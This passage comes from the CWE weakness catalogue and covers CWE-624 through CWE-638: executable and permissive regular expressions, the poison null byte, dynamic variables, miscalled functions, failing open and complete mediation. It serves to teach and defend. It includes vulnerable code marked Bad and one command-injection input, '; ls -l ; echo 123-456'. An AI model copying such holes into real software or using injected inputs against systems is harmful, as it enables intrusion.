This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		978	SFP Secondary Cluster: Implementation	888	2201

## References

[REF-503]Microsoft. "Developing Secure ActiveX Controls". 2005 April 3. < <https://msdn.microsoft.com/en-us/library/ms885903.aspx> >.

[REF-510]Microsoft. "How to stop an ActiveX control from running in Internet Explorer". < <https://support.microsoft.com/en-us/help/240797/how-to-stop-an-activex-control-from-running-in-internet-explorer> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-624: Executable Regular Expression Error

**Weakness ID** : 624

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

### Extended Description

Case (2) is possible in the PHP preg\_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	141

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

### Applicable Platforms

**Language** : PHP (*Prevalence = Undetermined*)

**Language** : Perl (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

### Potential Mitigations

#### Phase: Implementation

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as `\Q` and `\E` in Perl.

### Observed Examples

Reference	Description
<b>CVE-2006-2059</b>	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace <a href="https://www.cve.org/CVERecord?id=CVE-2006-2059">https://www.cve.org/CVERecord?id=CVE-2006-2059</a>
<b>CVE-2005-3420</b>	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace <a href="https://www.cve.org/CVERecord?id=CVE-2005-3420">https://www.cve.org/CVERecord?id=CVE-2005-3420</a>
<b>CVE-2006-2878</b>	Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier <a href="https://www.cve.org/CVERecord?id=CVE-2006-2878">https://www.cve.org/CVERecord?id=CVE-2006-2878</a>
<b>CVE-2006-2908</b>	Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2908">https://www.cve.org/CVERecord?id=CVE-2006-2908</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Research Gap

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

## CWE-625: Permissive Regular Expression

**Weakness ID :** 625  
**Structure :** Simple  
**Abstraction :** Base

## Description

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

## Extended Description






This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

- not identifying the beginning and end of the target string
- using wildcards instead of acceptable character ranges
- others


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		185	Incorrect Regular Expression	444
ParentOf		777	Regular Expression without Anchors	1523
PeerOf		183	Permissive List of Allowed Inputs	439
PeerOf		184	Incomplete List of Disallowed Inputs	441
PeerOf		187	Partial String Comparison	448

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Perl (*Prevalence = Undetermined*)

**Language :** PHP (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

## Potential Mitigations

**Phase: Implementation**

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as `"/^string$/"` for Perl.

## Demonstrative Examples

**Example 1:**

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

Example Language: Perl

(Bad)

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
}
else {
    error("malformed number!");
}
```

An attacker could provide an argument such as "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

### Example 2:

This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.

Example Language: Python

(bad)

```
import subprocess
import re
def validate_ip_regex(ip: str):
    ip_validator = re.compile(r"((25[0-5])|(2[0-4])|1\d|[1-9])\d\.\.?b{4}")
    if ip_validator.match(ip):
        return ip
    else:
        raise ValueError("IP address does not match valid pattern.")
def run_ping_regex(ip: str):
    validated = validate_ip_regex(ip)
    # The ping command treats zero-prepended IP addresses as octal
    result = subprocess.call(["ping", validated])
    print(result)
```

Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without `^` or `$` characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.

### Observed Examples

Reference	Description
<b>CVE-2021-22204</b>	Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-22204">https://www.cve.org/CVERecord?id=CVE-2021-22204</a>
<b>CVE-2006-1895</b>	".*" regexp leads to static code injection <a href="https://www.cve.org/CVERecord?id=CVE-2006-1895">https://www.cve.org/CVERecord?id=CVE-2006-1895</a>
<b>CVE-2002-2175</b>	insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2175">https://www.cve.org/CVERecord?id=CVE-2002-2175</a>
<b>CVE-2006-4527</b>	regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4527">https://www.cve.org/CVERecord?id=CVE-2006-4527</a>
<b>CVE-2005-1949</b>	Regex for IP address isn't anchored at the end, allowing appending of shell metacharacters.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2005-1949">https://www.cve.org/CVERecord?id=CVE-2005-1949</a>
<b>CVE-2002-2109</b>	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2109">https://www.cve.org/CVERecord?id=CVE-2002-2109</a>
<b>CVE-2006-6511</b>	regexp in .htaccess file allows access of files whose names contain certain substrings <a href="https://www.cve.org/CVERecord?id=CVE-2006-6511">https://www.cve.org/CVERecord?id=CVE-2006-6511</a>
<b>CVE-2006-6629</b>	allow load of macro files whose names contain certain substrings. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6629">https://www.cve.org/CVERecord?id=CVE-2006-6629</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	2155
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS08-J		Sanitize untrusted data passed to a regex

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-626: Null Byte Interaction Error (Poison Null Byte)

**Weakness ID** : 626

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

### Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		436	Interpretation Conflict	1000
ChildOf		147	Improper Neutralization of Input Terminators	373

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** PHP (Prevalence = Undetermined)

**Language :** Perl (Prevalence = Undetermined)

**Language :** ASP.NET (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

**Phase: Implementation**


Remove null bytes from all incoming strings.

### Observed Examples

Reference	Description
<b>CVE-2005-4155</b>	NUL byte bypasses PHP regular expression check <a href="https://www.cve.org/CVERecord?id=CVE-2005-4155">https://www.cve.org/CVERecord?id=CVE-2005-4155</a>
<b>CVE-2005-3153</b>	inserting SQL after a NUL byte bypasses allowlist regexp, enabling SQL injection <a href="https://www.cve.org/CVERecord?id=CVE-2005-3153">https://www.cve.org/CVERecord?id=CVE-2005-3153</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Terminology

Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

#### Research Gap

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

### References

[REF-514]Rain Forest Puppy. "Poison NULL byte". Phrack 55. < <http://insecure.org/news/P55-07.txt> >.



[REF-515]Brett Moore. "0x00 vs ASP file upload scripts". < [http://www.security-assessment.com/Whitepapers/0x00\\_vs\\_ASP\\_File\\_Uploads.pdf](http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf) >.

[REF-516]ShAnKaR. "ShAnKaR: multiple PHP application poison NULL byte vulnerability". < <http://seclists.org/fulldisclosure/2006/Sep/0185.html> >.

## CWE-627: Dynamic Variable Evaluation

**Weakness ID** : 627

**Structure** : Simple

**Abstraction** : Base

### Description

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

### Extended Description

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	914	Improper Control of Dynamically-Identified Variables	1682
PeerOf	<b>E</b>	183	Permissive List of Allowed Inputs	439

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : PHP (*Prevalence = Undetermined*)

**Language** : Perl (*Prevalence = Undetermined*)

### Background Details

Many interpreted languages support the use of a "\$\$varname" construct to set a variable whose name is specified by the \$varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as \$\$funcname(arg1, arg2).

### Alternate Terms

**Dynamic evaluation** :

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Application Data	
Integrity	Execute Unauthorized Code or Commands	
Availability		

Scope	Impact	Likelihood
	<i>An attacker could gain unauthorized access to internal program variables and execute arbitrary code.</i>	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Refactoring*

Refactor the code to avoid dynamic variable evaluation whenever possible.

#### Phase: Implementation

*Strategy = Input Validation*

Use only allowlists of acceptable variable or function names.

#### Phase: Implementation

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

### Observed Examples

Reference	Description
<b>CVE-2009-0422</b>	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0422">https://www.cve.org/CVERecord?id=CVE-2009-0422</a>
<b>CVE-2007-2431</b>	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected \$_SERVER variable for resultant XSS. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2431">https://www.cve.org/CVERecord?id=CVE-2007-2431</a>
<b>CVE-2006-4904</b>	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4904">https://www.cve.org/CVERecord?id=CVE-2006-4904</a>
<b>CVE-2006-4019</b>	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4019">https://www.cve.org/CVERecord?id=CVE-2006-4019</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Research Gap

Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register\_globals.

### References

[REF-517]Steve Christey. "Dynamic Evaluation Vulnerabilities in PHP applications". Full-Disclosure. 2006 May 3. < <http://seclists.org/fulldisclosure/2006/May/0035.html> >.

[REF-518]Shaun Clowes. "A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications". < <http://www.secureality.com.au/studyinscarlet.txt> >.

## CWE-628: Function Call with Incorrectly Specified Arguments

**Weakness ID** : 628

**Structure** : Simple

**Abstraction** : Base

### Description

The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.

### Extended Description







There are multiple ways in which this weakness can be introduced, including:

- the wrong variable or reference;
- an incorrect number of arguments;
- incorrect order of arguments;
- wrong type of arguments; or
- wrong value.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222
ParentOf		683	Function Call With Incorrect Order of Arguments	1408
ParentOf		685	Function Call With Incorrect Number of Arguments	1411
ParentOf		686	Function Call With Incorrect Argument Type	1412
ParentOf		687	Function Call With Incorrectly Specified Argument Value	1413
ParentOf		688	Function Call With Incorrect Variable or Reference as Argument	1415

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Weakness Ordinalities

**Primary** : This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	
Access Control	Gain Privileges or Assume Identity	
<p><i>This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.</i></p>		

### Detection Methods

## Other

Since these bugs typically introduce incorrect behavior that is obvious to users, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.

## Potential Mitigations

### Phase: Build and Compilation

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

### Phase: Architecture and Design

Make sure your API's are stable before you use them in production code.

## Demonstrative Examples

### Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

*Example Language: PHP*

*(Bad)*

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

### Example 2:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

*Example Language: Perl*

*(Bad)*

```
sub ReportAuth {
    my ($username, $result, $fatal) = @_;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}
sub PrivilegedFunc
{
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

### Example 3:

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN\_ROLES array rather than the user roles.

*Example Language: Java*

*(Bad)*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
```

```

}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}

```

## Observed Examples

Reference	Description
<b>CVE-2006-7049</b>	The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions. <a href="https://www.cve.org/CVERecord?id=CVE-2006-7049">https://www.cve.org/CVERecord?id=CVE-2006-7049</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	734	2134
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2135
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf	C	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1178	2258
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL10-C		Maintain the contract between the writer and caller of variadic functions
CERT C Secure Coding	EXP37-C	CWE More Abstract	Call functions with the correct number and type of arguments
SEI CERT Perl Coding Standard	DCL00-PL	CWE More Abstract	Do not use subroutine prototypes
SEI CERT Perl Coding Standard	EXP33-PL	Imprecise	Do not invoke a function in a context for which it is not defined

## CWE-636: Not Failing Securely ('Failing Open')

**Weakness ID** : 636

**Structure** : Simple

**Abstraction** : Class

### Description

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.





## Extended Description

By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		755	Improper Handling of Exceptional Conditions	1468
ChildOf		657	Violation of Secure Design Principles	1361
ParentOf		455	Non-exit on Failed Initialization	1028
PeerOf		280	Improper Handling of Insufficient Permissions or Privileges	638

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

**Technology :** ICS/OT (*Prevalence = Undetermined*)

## Alternate Terms

**Failing Open :**

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

## Demonstrative Examples

### Example 1:




Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

## Observed Examples

Reference	Description
<b>CVE-2007-5277</b>	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional." <a href="https://www.cve.org/CVERecord?id=CVE-2007-5277">https://www.cve.org/CVERecord?id=CVE-2007-5277</a>
<b>CVE-2006-4407</b>	Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4407">https://www.cve.org/CVERecord?id=CVE-2006-4407</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2131
MemberOf		961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2192
MemberOf		1369	ICS Supply Chain: IT/OT Convergence/Expansion	1358	2298

### Notes

#### Research Gap

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

### References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

[REF-522]Sean Barnum and Michael Gegick. "Failing Securely". 2005 December 5. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/failing-securely> >.

## CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

**Weakness ID** : 637

**Structure** : Simple

**Abstraction** : Class

### Description

The product uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.

### Extended Description



Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		657	Violation of Secure Design Principles	1361

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Alternate Terms

**Unnecessary Complexity :**

## Common Consequences

Scope	Impact	Likelihood
Other	Other	

## Potential Mitigations

### Phase: Architecture and Design

Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.

## Demonstrative Examples

### Example 1:

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

### Example 2:

HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

## Observed Examples

Reference	Description
<b>CVE-2007-6067</b>	Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407). <a href="https://www.cve.org/CVERecord?id=CVE-2007-6067">https://www.cve.org/CVERecord?id=CVE-2007-6067</a>

Reference	Description
<b>CVE-2007-1552</b>	Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434). <a href="https://www.cve.org/CVERecord?id=CVE-2007-1552">https://www.cve.org/CVERecord?id=CVE-2007-1552</a>
<b>CVE-2007-6479</b>	In Apache environments, a "filename.php.gif" can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2007-6479">https://www.cve.org/CVERecord?id=CVE-2007-6479</a>
<b>CVE-2005-2148</b>	The developer cleanses the \$_REQUEST superglobal array, but PHP also populates \$_GET, allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses \$_GET. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2148">https://www.cve.org/CVERecord?id=CVE-2005-2148</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		975	SFP Secondary Cluster: Architecture	888	2199

### References

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < <http://web.mit.edu/Saltzer/www/publications/protection/> >.

[REF-524]Sean Barnum and Michael Gegick. "Economy of Mechanism". 2005 September 3. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/economy-of-mechanism> >.

## CWE-638: Not Using Complete Mediation

**Weakness ID** : 638

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		862	Missing Authorization	1657
ChildOf		657	Violation of Secure Design Principles	1361
ParentOf		424	Improper Protection of Alternate Path	968

### Weakness Ordinalities

**Primary** :

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	Bypass Protection Mechanism	
Access Control	Read Application Data	
Other	Other	
<p><i>A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.</i></p>		

## Potential Mitigations

### Phase: Architecture and Design

Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

### Phase: Architecture and Design

Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.

## Demonstrative Examples

### Example 1:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

### Example 2:

